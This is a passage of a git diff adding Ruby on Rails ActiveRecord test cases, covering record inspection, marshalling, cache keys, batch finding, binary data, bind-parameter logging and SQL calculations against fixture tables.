+ def test_find_multiple_ordered_last
+ last = Developer.all.merge!(:order => 'developers.name, developers.salary DESC').last
+ assert_equal last, Developer.all.merge!(:order => 'developers.name, developers.salary DESC').to_a.last
+ end
+
+ def test_find_keeps_multiple_order_values
+ combined = Developer.all.merge!(:order => 'developers.name, developers.salary').to_a
+ assert_equal combined, Developer.all.merge!(:order => ['developers.name', 'developers.salary']).to_a
+ end
+
+ def test_find_keeps_multiple_group_values
+ combined = Developer.all.merge!(:group => 'developers.name, developers.salary, developers.id, developers.created_at, developers.updated_at, developers.created_on, developers.updated_on').to_a
+ assert_equal combined, Developer.all.merge!(:group => ['developers.name', 'developers.salary', 'developers.id', 'developers.created_at', 'developers.updated_at', 'developers.created_on', 'developers.updated_on']).to_a
+ end
+
+ def test_find_symbol_ordered_last
+ last = Developer.all.merge!(:order => :salary).last
+ assert_equal last, Developer.all.merge!(:order => :salary).to_a.last
+ end
+
+ def test_abstract_class
+ assert !ActiveRecord::Base.abstract_class?
+ assert LoosePerson.abstract_class?
+ assert !LooseDescendant.abstract_class?
+ end
+
+ def test_abstract_class_table_name
+ assert_nil AbstractCompany.table_name
+ end
+
+ def test_descends_from_active_record
+ assert !ActiveRecord::Base.descends_from_active_record?
+
+ # Abstract subclass of AR::Base.
+ assert LoosePerson.descends_from_active_record?
+
+ # Concrete subclass of an abstract class.
+ assert LooseDescendant.descends_from_active_record?
+
+ # Concrete subclass of AR::Base.
+ assert TightPerson.descends_from_active_record?
+
+ # Concrete subclass of a concrete class but has no type column.
+ assert TightDescendant.descends_from_active_record?
+
+ # Concrete subclass of AR::Base.
+ assert Post.descends_from_active_record?
+
+ # Abstract subclass of a concrete class which has a type column.
+ # This is pathological, as you'll never have Sub < Abstract < Concrete.
+ assert !StiPost.descends_from_active_record?
+
+ # Concrete subclasses an abstract class which has a type column.
+ assert !SubStiPost.descends_from_active_record?
+ end
+
+ def test_find_on_abstract_base_class_doesnt_use_type_condition
+ old_class = LooseDescendant
+ Object.send :remove_const, :LooseDescendant
+
+ descendant = old_class.create! :first_name => 'bob'
+ assert_not_nil LoosePerson.find(descendant.id), "Should have found instance of LooseDescendant when finding abstract LoosePerson: #{descendant.inspect}"
+ ensure
+ unless Object.const_defined?(:LooseDescendant)
+ Object.const_set :LooseDescendant, old_class
+ end
+ end
+
+ def test_assert_queries
+ query = lambda { ActiveRecord::Base.connection.execute 'select count(*) from developers' }
+ assert_queries(2) { 2.times { query.call } }
+ assert_queries 1, &query
+ assert_no_queries { assert true }
+ end
+
+ def test_to_param_should_return_string
+ assert_kind_of String, Client.first.to_param
+ end
+
+ def test_to_param_returns_id_even_if_not_persisted
+ client = Client.new
+ client.id = 1
+ assert_equal "1", client.to_param
+ end
+
+ def test_inspect_class
+ assert_equal 'ActiveRecord::Base', ActiveRecord::Base.inspect
+ assert_equal 'LoosePerson(abstract)', LoosePerson.inspect
+ assert_match(/^Topic\(id: integer, title: string/, Topic.inspect)
+ end
+
+ def test_inspect_instance
+ topic = topics(:first)
+ assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david at loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", important: nil, approved: false, replies_count: 1, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_s(:db)}", updated_at: "#{topic.updated_at.to_s(:db)}">), [...]
+ end
+
+ def test_inspect_new_instance
+ assert_match(/Topic id: nil/, Topic.new.inspect)
+ end
+
+ def test_inspect_limited_select_instance
+ assert_equal %(#<Topic id: 1>), Topic.all.merge!(:select => 'id', :where => 'id = 1').first.inspect
+ assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.all.merge!(:select => 'id, title', :where => 'id = 1').first.inspect
+ end
+
+ def test_inspect_class_without_table
+ assert_equal "NonExistentTable(Table doesn't exist)", NonExistentTable.inspect
+ end
+
+ def test_attribute_for_inspect
+ t = topics(:first)
+ t.title = "The First Topic Now Has A Title With\nNewlines And More Than 50 Characters"
+
+ assert_equal %("#{t.written_on.to_s(:db)}"), t.attribute_for_inspect(:written_on)
+ assert_equal '"The First Topic Now Has A Title With\nNewlines And M..."', t.attribute_for_inspect(:title)
+ end
+
+ def test_becomes
+ assert_kind_of Reply, topics(:first).becomes(Reply)
+ assert_equal "The First Topic", topics(:first).becomes(Reply).title
+ end
+
+ def test_becomes_includes_errors
+ company = Company.new(:name => nil)
+ assert !company.valid?
+ original_errors = company.errors
+ client = company.becomes(Client)
+ assert_equal original_errors, client.errors
+ end
+
+ def test_silence_sets_log_level_to_error_in_block
+ original_logger = ActiveRecord::Base.logger
+
+ assert_deprecated do
+ log = StringIO.new
+ ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
+ ActiveRecord::Base.logger.level = Logger::DEBUG
+ ActiveRecord::Base.silence do
+ ActiveRecord::Base.logger.warn "warn"
+ ActiveRecord::Base.logger.error "error"
+ end
+ assert_equal "error\n", log.string
+ end
+ ensure
+ ActiveRecord::Base.logger = original_logger
+ end
+
+ def test_silence_sets_log_level_back_to_level_before_yield
+ original_logger = ActiveRecord::Base.logger
+
+ assert_deprecated do
+ log = StringIO.new
+ ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
+ ActiveRecord::Base.logger.level = Logger::WARN
+ ActiveRecord::Base.silence do
+ end
+ assert_equal Logger::WARN, ActiveRecord::Base.logger.level
+ end
+ ensure
+ ActiveRecord::Base.logger = original_logger
+ end
+
+ def test_benchmark_with_log_level
+ original_logger = ActiveRecord::Base.logger
+ log = StringIO.new
+ ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
+ ActiveRecord::Base.logger.level = Logger::WARN
+ ActiveRecord::Base.benchmark("Debug Topic Count", :level => :debug) { Topic.count }
+ ActiveRecord::Base.benchmark("Warn Topic Count", :level => :warn) { Topic.count }
+ ActiveRecord::Base.benchmark("Error Topic Count", :level => :error) { Topic.count }
+ assert_no_match(/Debug Topic Count/, log.string)
+ assert_match(/Warn Topic Count/, log.string)
+ assert_match(/Error Topic Count/, log.string)
+ ensure
+ ActiveRecord::Base.logger = original_logger
+ end
+
+ def test_benchmark_with_use_silence
+ original_logger = ActiveRecord::Base.logger
+ log = StringIO.new
+ ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
+ ActiveRecord::Base.benchmark("Logging", :level => :debug, :silence => false) { ActiveRecord::Base.logger.debug "Quiet" }
+ assert_match(/Quiet/, log.string)
+ ensure
+ ActiveRecord::Base.logger = original_logger
+ end
+
+ def test_compute_type_success
+ assert_equal Author, ActiveRecord::Base.send(:compute_type, 'Author')
+ end
+
+ def test_compute_type_nonexistent_constant
+ assert_raises NameError do
+ ActiveRecord::Base.send :compute_type, 'NonexistentModel'
+ end
+ end
+
+ def test_compute_type_no_method_error
+ ActiveSupport::Dependencies.stubs(:constantize).raises(NoMethodError)
+ assert_raises NoMethodError do
+ ActiveRecord::Base.send :compute_type, 'InvalidModel'
+ end
+ end
+
+ def test_compute_type_argument_error
+ ActiveSupport::Dependencies.stubs(:constantize).raises(ArgumentError)
+ assert_raises ArgumentError do
+ ActiveRecord::Base.send :compute_type, 'InvalidModel'
+ end
+ end
+
+ def test_clear_cache!
+ # preheat cache
+ c1 = Post.connection.schema_cache.columns('posts')
+ ActiveRecord::Base.clear_cache!
+ c2 = Post.connection.schema_cache.columns('posts')
+ assert_not_equal c1, c2
+ end
+
+ def test_current_scope_is_reset
+ Object.const_set :UnloadablePost, Class.new(ActiveRecord::Base)
+ UnloadablePost.send(:current_scope=, UnloadablePost.all)
+
+ UnloadablePost.unloadable
+ assert_not_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, "UnloadablePost")
+ ActiveSupport::Dependencies.remove_unloadable_constants!
+ assert_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, "UnloadablePost")
+ ensure
+ Object.class_eval{ remove_const :UnloadablePost } if defined?(UnloadablePost)
+ end
+
+ def test_marshal_round_trip
+ expected = posts(:welcome)
+ marshalled = Marshal.dump(expected)
+ actual = Marshal.load(marshalled)
+
+ assert_equal expected.attributes, actual.attributes
+ end
+
+ def test_marshal_new_record_round_trip
+ marshalled = Marshal.dump(Post.new)
+ post = Marshal.load(marshalled)
+
+ assert post.new_record?, "should be a new record"
+ end
+
+ def test_marshalling_with_associations
+ post = Post.new
+ post.comments.build
+
+ marshalled = Marshal.dump(post)
+ post = Marshal.load(marshalled)
+
+ assert_equal 1, post.comments.length
+ end
+
+ def test_marshalling_new_record_round_trip_with_associations
+ post = Post.new
+ post.comments.build
+
+ post = Marshal.load(Marshal.dump(post))
+
+ assert post.new_record?, "should be a new record"
+ end
+
+ def test_attribute_names
+ assert_equal ["id", "type", "firm_id", "firm_name", "name", "client_of", "rating", "account_id", "description"],
+ Company.attribute_names
+ end
+
+ def test_attribute_names_on_table_not_exists
+ assert_equal [], NonExistentTable.attribute_names
+ end
+
+ def test_attribute_names_on_abstract_class
+ assert_equal [], AbstractCompany.attribute_names
+ end
+
+ def test_cache_key_for_existing_record_is_not_timezone_dependent
+ ActiveRecord::Base.time_zone_aware_attributes = true
+
+ Time.zone = "UTC"
+ utc_key = Developer.first.cache_key
+
+ Time.zone = "EST"
+ est_key = Developer.first.cache_key
+
+ assert_equal utc_key, est_key
+ end
+
+ def test_cache_key_format_for_existing_record_with_updated_at
+ dev = Developer.first
+ assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key
+ end
+
+ def test_cache_key_format_for_existing_record_with_updated_at_and_custom_cache_timestamp_format
+ dev = CachedDeveloper.first
+ assert_equal "cached_developers/#{dev.id}-#{dev.updated_at.utc.to_s(:number)}", dev.cache_key
+ end
+
+ def test_cache_key_changes_when_child_touched
+ car = Car.create
+ Bulb.create(car: car)
+
+ key = car.cache_key
+ car.bulb.touch
+ car.reload
+ assert_not_equal key, car.cache_key
+ end
+
+ def test_cache_key_format_for_existing_record_with_nil_updated_timestamps
+ dev = Developer.first
+ dev.update_columns(updated_at: nil, updated_on: nil)
+ assert_match(/\/#{dev.id}$/, dev.cache_key)
+ end
+
+ def test_cache_key_for_updated_on
+ dev = Developer.first
+ dev.updated_at = nil
+ assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:nsec)}", dev.cache_key
+ end
+
+ def test_cache_key_for_newer_updated_at
+ dev = Developer.first
+ dev.updated_at += 3600
+ assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key
+ end
+
+ def test_cache_key_for_newer_updated_on
+ dev = Developer.first
+ dev.updated_on += 3600
+ assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:nsec)}", dev.cache_key
+ end
+
+ def test_touch_should_raise_error_on_a_new_object
+ company = Company.new(:rating => 1, :name => "37signals", :firm_name => "37signals")
+ assert_raises(ActiveRecord::ActiveRecordError) do
+ company.touch :updated_at
+ end
+ end
+
+ def test_cache_key_format_is_precise_enough
+ dev = Developer.first
+ key = dev.cache_key
+ dev.touch
+ assert_not_equal key, dev.cache_key
+ end
+
+ def test_uniq_delegates_to_scoped
+ scope = stub
+ Bird.stubs(:all).returns(mock(:uniq => scope))
+ assert_equal scope, Bird.uniq
+ end
+
+ def test_distinct_delegates_to_scoped
+ scope = stub
+ Bird.stubs(:all).returns(mock(:distinct => scope))
+ assert_equal scope, Bird.distinct
+ end
+
+ def test_table_name_with_2_abstract_subclasses
+ assert_equal "photos", Photo.table_name
+ end
+
+ def test_column_types_typecast
+ topic = Topic.first
+ assert_not_equal 't.lo', topic.author_name
+
+ attrs = topic.attributes.dup
+ attrs.delete 'id'
+
+ typecast = Class.new {
+ def type_cast value
+ "t.lo"
+ end
+ }
+
+ types = { 'author_name' => typecast.new }
+ topic = Topic.allocate.init_with 'attributes' => attrs,
+ 'column_types' => types
+
+ assert_equal 't.lo', topic.author_name
+ end
+
+ def test_typecasting_aliases
+ assert_equal 10, Topic.select('10 as tenderlove').first.tenderlove
+ end
+
+ def test_slice
+ company = Company.new(:rating => 1, :name => "37signals", :firm_name => "37signals")
+ hash = company.slice(:name, :rating, "arbitrary_method")
+ assert_equal hash[:name], company.name
+ assert_equal hash['name'], company.name
+ assert_equal hash[:rating], company.rating
+ assert_equal hash['arbitrary_method'], company.arbitrary_method
+ assert_equal hash[:arbitrary_method], company.arbitrary_method
+ assert_nil hash[:firm_name]
+ assert_nil hash['firm_name']
+ end
+
+ def test_default_values_are_deeply_dupped
+ company = Company.new
+ company.description << "foo"
+ assert_equal "", Company.new.description
+ end
+
+ ["find_by", "find_by!"].each do |meth|
+ test "#{meth} delegates to scoped" do
+ record = stub
+
+ scope = mock
+ scope.expects(meth).with(:foo, :bar).returns(record)
+
+ klass = Class.new(ActiveRecord::Base)
+ klass.stubs(:all => scope)
+
+ assert_equal record, klass.public_send(meth, :foo, :bar)
+ end
+ end
+
+ test "scoped can take a values hash" do
+ klass = Class.new(ActiveRecord::Base)
+ assert_equal ['foo'], klass.all.merge!(select: 'foo').select_values
+ end
+
+ test "connection_handler can be overridden" do
+ klass = Class.new(ActiveRecord::Base)
+ orig_handler = klass.connection_handler
+ new_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+ thread_connection_handler = nil
+
+ t = Thread.new do
+ klass.connection_handler = new_handler
+ thread_connection_handler = klass.connection_handler
+ end
+ t.join
+
+ assert_equal klass.connection_handler, orig_handler
+ assert_equal thread_connection_handler, new_handler
+ end
+
+ test "new threads get default the default connection handler" do
+ klass = Class.new(ActiveRecord::Base)
+ orig_handler = klass.connection_handler
+ handler = nil
+
+ t = Thread.new do
+ handler = klass.connection_handler
+ end
+ t.join
+
+ assert_equal handler, orig_handler
+ assert_equal klass.connection_handler, orig_handler
+ assert_equal klass.default_connection_handler, orig_handler
+ end
+
+ test "changing a connection handler in a main thread does not poison the other threads" do
+ klass = Class.new(ActiveRecord::Base)
+ orig_handler = klass.connection_handler
+ new_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+ after_handler = nil
+ is_set = false
+
+ t = Thread.new do
+ klass.connection_handler = new_handler
+ is_set = true
+ Thread.stop
+ after_handler = klass.connection_handler
+ end
+
+ while(!is_set)
+ Thread.pass
+ end
+
+ klass.connection_handler = orig_handler
+ t.wakeup
+ t.join
+
+ assert_equal after_handler, new_handler
+ assert_equal orig_handler, klass.connection_handler
+ end
+end
diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb
new file mode 100644
index 0000000..ba6b0b1
--- /dev/null
+++ b/activerecord/test/cases/batches_test.rb
@@ -0,0 +1,147 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/subscriber'
+
+class EachTest < ActiveRecord::TestCase
+ fixtures :posts, :subscribers
+
+ def setup
+ @posts = Post.order("id asc")
+ @total = Post.count
+ Post.count('id') # preheat arel's table cache
+ end
+
+ def test_each_should_execute_one_query_per_batch
+ assert_queries(Post.count + 1) do
+ Post.find_each(:batch_size => 1) do |post|
+ assert_kind_of Post, post
+ end
+ end
+ end
+
+ def test_each_should_not_return_query_chain_and_execute_only_one_query
+ assert_queries(1) do
+ result = Post.find_each(:batch_size => 100000){ }
+ assert_nil result
+ end
+ end
+
+ def test_each_should_raise_if_select_is_set_without_id
+ assert_raise(RuntimeError) do
+ Post.select(:title).find_each(:batch_size => 1) { |post| post }
+ end
+ end
+
+ def test_each_should_execute_if_id_is_in_select
+ assert_queries(6) do
+ Post.select("id, title, type").find_each(:batch_size => 2) do |post|
+ assert_kind_of Post, post
+ end
+ end
+ end
+
+ def test_warn_if_limit_scope_is_set
+ ActiveRecord::Base.logger.expects(:warn)
+ Post.limit(1).find_each { |post| post }
+ end
+
+ def test_warn_if_order_scope_is_set
+ ActiveRecord::Base.logger.expects(:warn)
+ Post.order("title").find_each { |post| post }
+ end
+
+ def test_find_in_batches_should_return_batches
+ assert_queries(Post.count + 1) do
+ Post.find_in_batches(:batch_size => 1) do |batch|
+ assert_kind_of Array, batch
+ assert_kind_of Post, batch.first
+ end
+ end
+ end
+
+ def test_find_in_batches_should_start_from_the_start_option
+ assert_queries(Post.count) do
+ Post.find_in_batches(:batch_size => 1, :start => 2) do |batch|
+ assert_kind_of Array, batch
+ assert_kind_of Post, batch.first
+ end
+ end
+ end
+
+ def test_find_in_batches_shouldnt_execute_query_unless_needed
+ post_count = Post.count
+
+ assert_queries(2) do
+ Post.find_in_batches(:batch_size => post_count) {|batch| assert_kind_of Array, batch }
+ end
+
+ assert_queries(1) do
+ Post.find_in_batches(:batch_size => post_count + 1) {|batch| assert_kind_of Array, batch }
+ end
+ end
+
+ def test_find_in_batches_should_quote_batch_order
+ c = Post.connection
+ assert_sql(/ORDER BY #{c.quote_table_name('posts')}.#{c.quote_column_name('id')}/) do
+ Post.find_in_batches(:batch_size => 1) do |batch|
+ assert_kind_of Array, batch
+ assert_kind_of Post, batch.first
+ end
+ end
+ end
+
+ def test_find_in_batches_should_not_use_records_after_yielding_them_in_case_original_array_is_modified
+ not_a_post = "not a post"
+ not_a_post.stubs(:id).raises(StandardError, "not_a_post had #id called on it")
+
+ assert_nothing_raised do
+ Post.find_in_batches(:batch_size => 1) do |batch|
+ assert_kind_of Array, batch
+ assert_kind_of Post, batch.first
+
+ batch.map! { not_a_post }
+ end
+ end
+ end
+
+ def test_find_in_batches_should_ignore_the_order_default_scope
+ # First post is with title scope
+ first_post = PostWithDefaultScope.first
+ posts = []
+ PostWithDefaultScope.find_in_batches do |batch|
+ posts.concat(batch)
+ end
+ # posts.first will be ordered using id only. Title order scope should not apply here
+ assert_not_equal first_post, posts.first
+ assert_equal posts(:welcome), posts.first
+ end
+
+ def test_find_in_batches_should_not_ignore_the_default_scope_if_it_is_other_then_order
+ special_posts_ids = SpecialPostWithDefaultScope.all.map(&:id).sort
+ posts = []
+ SpecialPostWithDefaultScope.find_in_batches do |batch|
+ posts.concat(batch)
+ end
+ assert_equal special_posts_ids, posts.map(&:id)
+ end
+
+ def test_find_in_batches_should_use_any_column_as_primary_key
+ nick_order_subscribers = Subscriber.order('nick asc')
+ start_nick = nick_order_subscribers.second.nick
+
+ subscribers = []
+ Subscriber.find_in_batches(:batch_size => 1, :start => start_nick) do |batch|
+ subscribers.concat(batch)
+ end
+
+ assert_equal nick_order_subscribers[1..-1].map(&:id), subscribers.map(&:id)
+ end
+
+ def test_find_in_batches_should_use_any_column_as_primary_key_when_start_is_not_specified
+ assert_queries(Subscriber.count + 1) do
+ Subscriber.find_each(:batch_size => 1) do |subscriber|
+ assert_kind_of Subscriber, subscriber
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/binary_test.rb b/activerecord/test/cases/binary_test.rb
new file mode 100644
index 0000000..9a486cf
--- /dev/null
+++ b/activerecord/test/cases/binary_test.rb
@@ -0,0 +1,49 @@
+# encoding: utf-8
+require "cases/helper"
+
+# Without using prepared statements, it makes no sense to test
+# BLOB data with DB2 or Firebird, because the length of a statement
+# is limited to 32KB.
+unless current_adapter?(:SybaseAdapter, :DB2Adapter, :FirebirdAdapter)
+ require 'models/binary'
+
+ class BinaryTest < ActiveRecord::TestCase
+ FIXTURES = %w(flowers.jpg example.log test.txt)
+
+ def test_mixed_encoding
+ str = "\x80"
+ str.force_encoding('ASCII-8BIT')
+
+ binary = Binary.new :name => 'いただきます!', :data => str
+ binary.save!
+ binary.reload
+ assert_equal str, binary.data
+
+ name = binary.name
+
+ # Mysql adapter doesn't properly encode things, so we have to do it
+ if current_adapter?(:MysqlAdapter)
+ name.force_encoding(Encoding::UTF_8)
+ end
+ assert_equal 'いただきます!', name
+ end
+
+ def test_load_save
+ Binary.delete_all
+
+ FIXTURES.each do |filename|
+ data = File.read(ASSETS_ROOT + "/#{filename}")
+ data.force_encoding('ASCII-8BIT')
+ data.freeze
+
+ bin = Binary.new(:data => data)
+ assert_equal data, bin.data, 'Newly assigned data differs from original'
+
+ bin.save!
+ assert_equal data, bin.data, 'Data differs from original after save'
+
+ assert_equal data, bin.reload.data, 'Reloaded data differs from original'
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/bind_parameter_test.rb b/activerecord/test/cases/bind_parameter_test.rb
new file mode 100644
index 0000000..03aa9fd
--- /dev/null
+++ b/activerecord/test/cases/bind_parameter_test.rb
@@ -0,0 +1,89 @@
+require 'cases/helper'
+require 'models/topic'
+
+module ActiveRecord
+ class BindParameterTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ class LogListener
+ attr_accessor :calls
+
+ def initialize
+ @calls = []
+ end
+
+ def call(*args)
+ calls << args
+ end
+ end
+
+ def setup
+ super
+ @connection = ActiveRecord::Base.connection
+ @listener = LogListener.new
+ @pk = Topic.columns.find { |c| c.primary }
+ ActiveSupport::Notifications.subscribe('sql.active_record', @listener)
+
+ skip_if_prepared_statement_caching_is_not_supported
+ end
+
+ def teardown
+ ActiveSupport::Notifications.unsubscribe(@listener)
+ end
+
+ def test_binds_are_logged
+ sub = @connection.substitute_at(@pk, 0)
+ binds = [[@pk, 1]]
+ sql = "select * from topics where id = #{sub}"
+
+ @connection.exec_query(sql, 'SQL', binds)
+
+ message = @listener.calls.find { |args| args[4][:sql] == sql }
+ assert_equal binds, message[4][:binds]
+ end
+
+ def test_find_one_uses_binds
+ Topic.find(1)
+ binds = [[@pk, 1]]
+ message = @listener.calls.find { |args| args[4][:binds] == binds }
+ assert message, 'expected a message with binds'
+ end
+
+ def test_logs_bind_vars
+ pk = Topic.columns.find { |x| x.primary }
+
+ payload = {
+ :name => 'SQL',
+ :sql => 'select * from topics where id = ?',
+ :binds => [[pk, 10]]
+ }
+ event = ActiveSupport::Notifications::Event.new(
+ 'foo',
+ Time.now,
+ Time.now,
+ 123,
+ payload)
+
+ logger = Class.new(ActiveRecord::LogSubscriber) {
+ attr_reader :debugs
+ def initialize
+ super
+ @debugs = []
+ end
+
+ def debug str
+ @debugs << str
+ end
+ }.new
+
+ logger.sql event
+ assert_match([[pk.name, 10]].inspect, logger.debugs.first)
+ end
+
+ private
+
+ def skip_if_prepared_statement_caching_is_not_supported
+ skip('prepared statement caching is not supported') unless @connection.supports_statement_cache?
+ end
+ end
+end
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
new file mode 100644
index 0000000..b0b647c
--- /dev/null
+++ b/activerecord/test/cases/calculations_test.rb
@@ -0,0 +1,573 @@
+require "cases/helper"
+require 'models/club'
+require 'models/company'
+require "models/contract"
+require 'models/edge'
+require 'models/organization'
+require 'models/possession'
+require 'models/topic'
+require 'models/minivan'
+require 'models/speedometer'
+require 'models/ship_part'
+
+Company.has_many :accounts
+
+class NumericData < ActiveRecord::Base
+ self.table_name = 'numeric_data'
+end
+
+class CalculationsTest < ActiveRecord::TestCase
+ fixtures :companies, :accounts, :topics
+
+ def test_should_sum_field
+ assert_equal 318, Account.sum(:credit_limit)
+ end
+
+ def test_should_average_field
+ value = Account.average(:credit_limit)
+ assert_equal 53.0, value
+ end
+
+ def test_should_return_decimal_average_of_integer_field
+ value = Account.average(:id)
+ assert_equal 3.5, value
+ end
+
+ def test_should_return_integer_average_if_db_returns_such
+ ShipPart.delete_all
+ ShipPart.create!(:id => 3, :name => 'foo')
+ value = ShipPart.average(:id)
+ assert_equal 3, value
+ end
+
+ def test_should_return_nil_as_average
+ assert_nil NumericData.average(:bank_balance)
+ end
+
+ def test_type_cast_calculated_value_should_convert_db_averages_of_fixnum_class_to_decimal
+ assert_equal 0, NumericData.all.send(:type_cast_calculated_value, 0, nil, 'avg')
+ assert_equal 53.0, NumericData.all.send(:type_cast_calculated_value, 53, nil, 'avg')
+ end
+
+ def test_should_get_maximum_of_field
+ assert_equal 60, Account.maximum(:credit_limit)
+ end
+
+ def test_should_get_maximum_of_field_with_include
+ assert_equal 55, Account.where("companies.name != 'Summit'").references(:companies).includes(:firm).maximum(:credit_limit)
+ end
+
+ def test_should_get_minimum_of_field
+ assert_equal 50, Account.minimum(:credit_limit)
+ end
+
+ def test_should_group_by_field
+ c = Account.group(:firm_id).sum(:credit_limit)
+ [1,6,2].each do |firm_id|
+ assert c.keys.include?(firm_id), "Group #{c.inspect} does not contain firm_id #{firm_id}"
+ end
+ end
+
+ def test_should_group_by_arel_attribute
+ c = Account.group(Account.arel_table[:firm_id]).sum(:credit_limit)
+ [1,6,2].each do |firm_id|
+ assert c.keys.include?(firm_id), "Group #{c.inspect} does not contain firm_id #{firm_id}"
+ end
+ end
+
+ def test_should_group_by_multiple_fields
+ c = Account.group('firm_id', :credit_limit).count(:all)
+ [ [nil, 50], [1, 50], [6, 50], [6, 55], [9, 53], [2, 60] ].each { |firm_and_limit| assert c.keys.include?(firm_and_limit) }
+ end
+
+ def test_should_group_by_multiple_fields_having_functions
+ c = Topic.group(:author_name, 'COALESCE(type, title)').count(:all)
+ assert_equal 1, c[["Carl", "The Third Topic of the day"]]
+ assert_equal 1, c[["Mary", "Reply"]]
+ assert_equal 1, c[["David", "The First Topic"]]
+ assert_equal 1, c[["Carl", "Reply"]]
+ end
+
+ def test_should_group_by_summed_field
+ c = Account.group(:firm_id).sum(:credit_limit)
+ assert_equal 50, c[1]
+ assert_equal 105, c[6]
+ assert_equal 60, c[2]
+ end
+
+ def test_should_order_by_grouped_field
+ c = Account.group(:firm_id).order("firm_id").sum(:credit_limit)
+ assert_equal [1, 2, 6, 9], c.keys.compact
+ end
+
+ def test_should_order_by_calculation
+ c = Account.group(:firm_id).order("sum_credit_limit desc, firm_id").sum(:credit_limit)
+ assert_equal [105, 60, 53, 50, 50], c.keys.collect { |k| c[k] }
+ assert_equal [6, 2, 9, 1], c.keys.compact
+ end
+
+ def test_should_limit_calculation
+ c = Account.where("firm_id IS NOT NULL").group(:firm_id).order("firm_id").limit(2).sum(:credit_limit)
+ assert_equal [1, 2], c.keys.compact
+ end
+
+ def test_should_limit_calculation_with_offset
+ c = Account.where("firm_id IS NOT NULL").group(:firm_id).order("firm_id").
+ limit(2).offset(1).sum(:credit_limit)
+ assert_equal [2, 6], c.keys.compact
+ end
+
+ def test_limit_should_apply_before_count
+ accounts = Account.limit(3).where('firm_id IS NOT NULL')
+
+ assert_equal 3, accounts.count(:firm_id)
+ assert_equal 3, accounts.select(:firm_id).count
+ end
+
+ def test_count_should_shortcut_with_limit_zero
+ accounts = Account.limit(0)
+
+ assert_no_queries { assert_equal 0, accounts.count }
+ end
+
+ def test_limit_is_kept
+ return if current_adapter?(:OracleAdapter)
+
+ queries = assert_sql { Account.limit(1).count }
+ assert_equal 1, queries.length
+ assert_match(/LIMIT/, queries.first)
+ end
+
+ def test_offset_is_kept
+ return if current_adapter?(:OracleAdapter)
+
+ queries = assert_sql { Account.offset(1).count }
+ assert_equal 1, queries.length
+ assert_match(/OFFSET/, queries.first)
+ end
+
+ def test_limit_with_offset_is_kept
+ return if current_adapter?(:OracleAdapter)
+
+ queries = assert_sql { Account.limit(1).offset(1).count }
+ assert_equal 1, queries.length
+ assert_match(/LIMIT/, queries.first)
+ assert_match(/OFFSET/, queries.first)
+ end
+
+ def test_no_limit_no_offset
+ queries = assert_sql { Account.count }
+ assert_equal 1, queries.length
+ assert_no_match(/LIMIT/, queries.first)
+ assert_no_match(/OFFSET/, queries.first)
+ end
+
+ def test_should_group_by_summed_field_having_condition
+ c = Account.group(:firm_id).having('sum(credit_limit) > 50').sum(:credit_limit)
+ assert_nil c[1]
+ assert_equal 105, c[6]
+ assert_equal 60, c[2]
+ end
+
+ def test_should_group_by_summed_field_having_condition_from_select
+ c = Account.select("MIN(credit_limit) AS min_credit_limit").group(:firm_id).having("MIN(credit_limit) > 50").sum(:credit_limit)
+ assert_nil c[1]
+ assert_equal 60, c[2]
+ assert_equal 53, c[9]
+ end
+
+ def test_should_group_by_summed_association
+ c = Account.group(:firm).sum(:credit_limit)
+ assert_equal 50, c[companies(:first_firm)]
+ assert_equal 105, c[companies(:rails_core)]
+ assert_equal 60, c[companies(:first_client)]
+ end
+
+ def test_should_sum_field_with_conditions
+ assert_equal 105, Account.where('firm_id = 6').sum(:credit_limit)
+ end
+
+ def test_should_return_zero_if_sum_conditions_return_nothing
+ assert_equal 0, Account.where('1 = 2').sum(:credit_limit)
+ assert_equal 0, companies(:rails_core).companies.where('1 = 2').sum(:id)
+ end
+
+ def test_sum_should_return_valid_values_for_decimals
+ NumericData.create(:bank_balance => 19.83)
+ assert_equal 19.83, NumericData.sum(:bank_balance)
+ end
+
+ def test_should_group_by_summed_field_with_conditions
+ c = Account.where('firm_id > 1').group(:firm_id).sum(:credit_limit)
+ assert_nil c[1]
+ assert_equal 105, c[6]
+ assert_equal 60, c[2]
+ end
+
+ def test_should_group_by_summed_field_with_conditions_and_having
+ c = Account.where('firm_id > 1').group(:firm_id).
+ having('sum(credit_limit) > 60').sum(:credit_limit)
+ assert_nil c[1]
+ assert_equal 105, c[6]
+ assert_nil c[2]
+ end
+
+ def test_should_group_by_fields_with_table_alias
+ c = Account.group('accounts.firm_id').sum(:credit_limit)
+ assert_equal 50, c[1]
+ assert_equal 105, c[6]
+ assert_equal 60, c[2]
+ end
+
+ def test_should_calculate_with_invalid_field
+ assert_equal 6, Account.calculate(:count, '*')
+ assert_equal 6, Account.calculate(:count, :all)
+ end
+
+ def test_should_calculate_grouped_with_invalid_field
+ c = Account.group('accounts.firm_id').count(:all)
+ assert_equal 1, c[1]
+ assert_equal 2, c[6]
+ assert_equal 1, c[2]
+ end
+
+ def test_should_calculate_grouped_association_with_invalid_field
+ c = Account.group(:firm).count(:all)
+ assert_equal 1, c[companies(:first_firm)]
+ assert_equal 2, c[companies(:rails_core)]
+ assert_equal 1, c[companies(:first_client)]
+ end
+
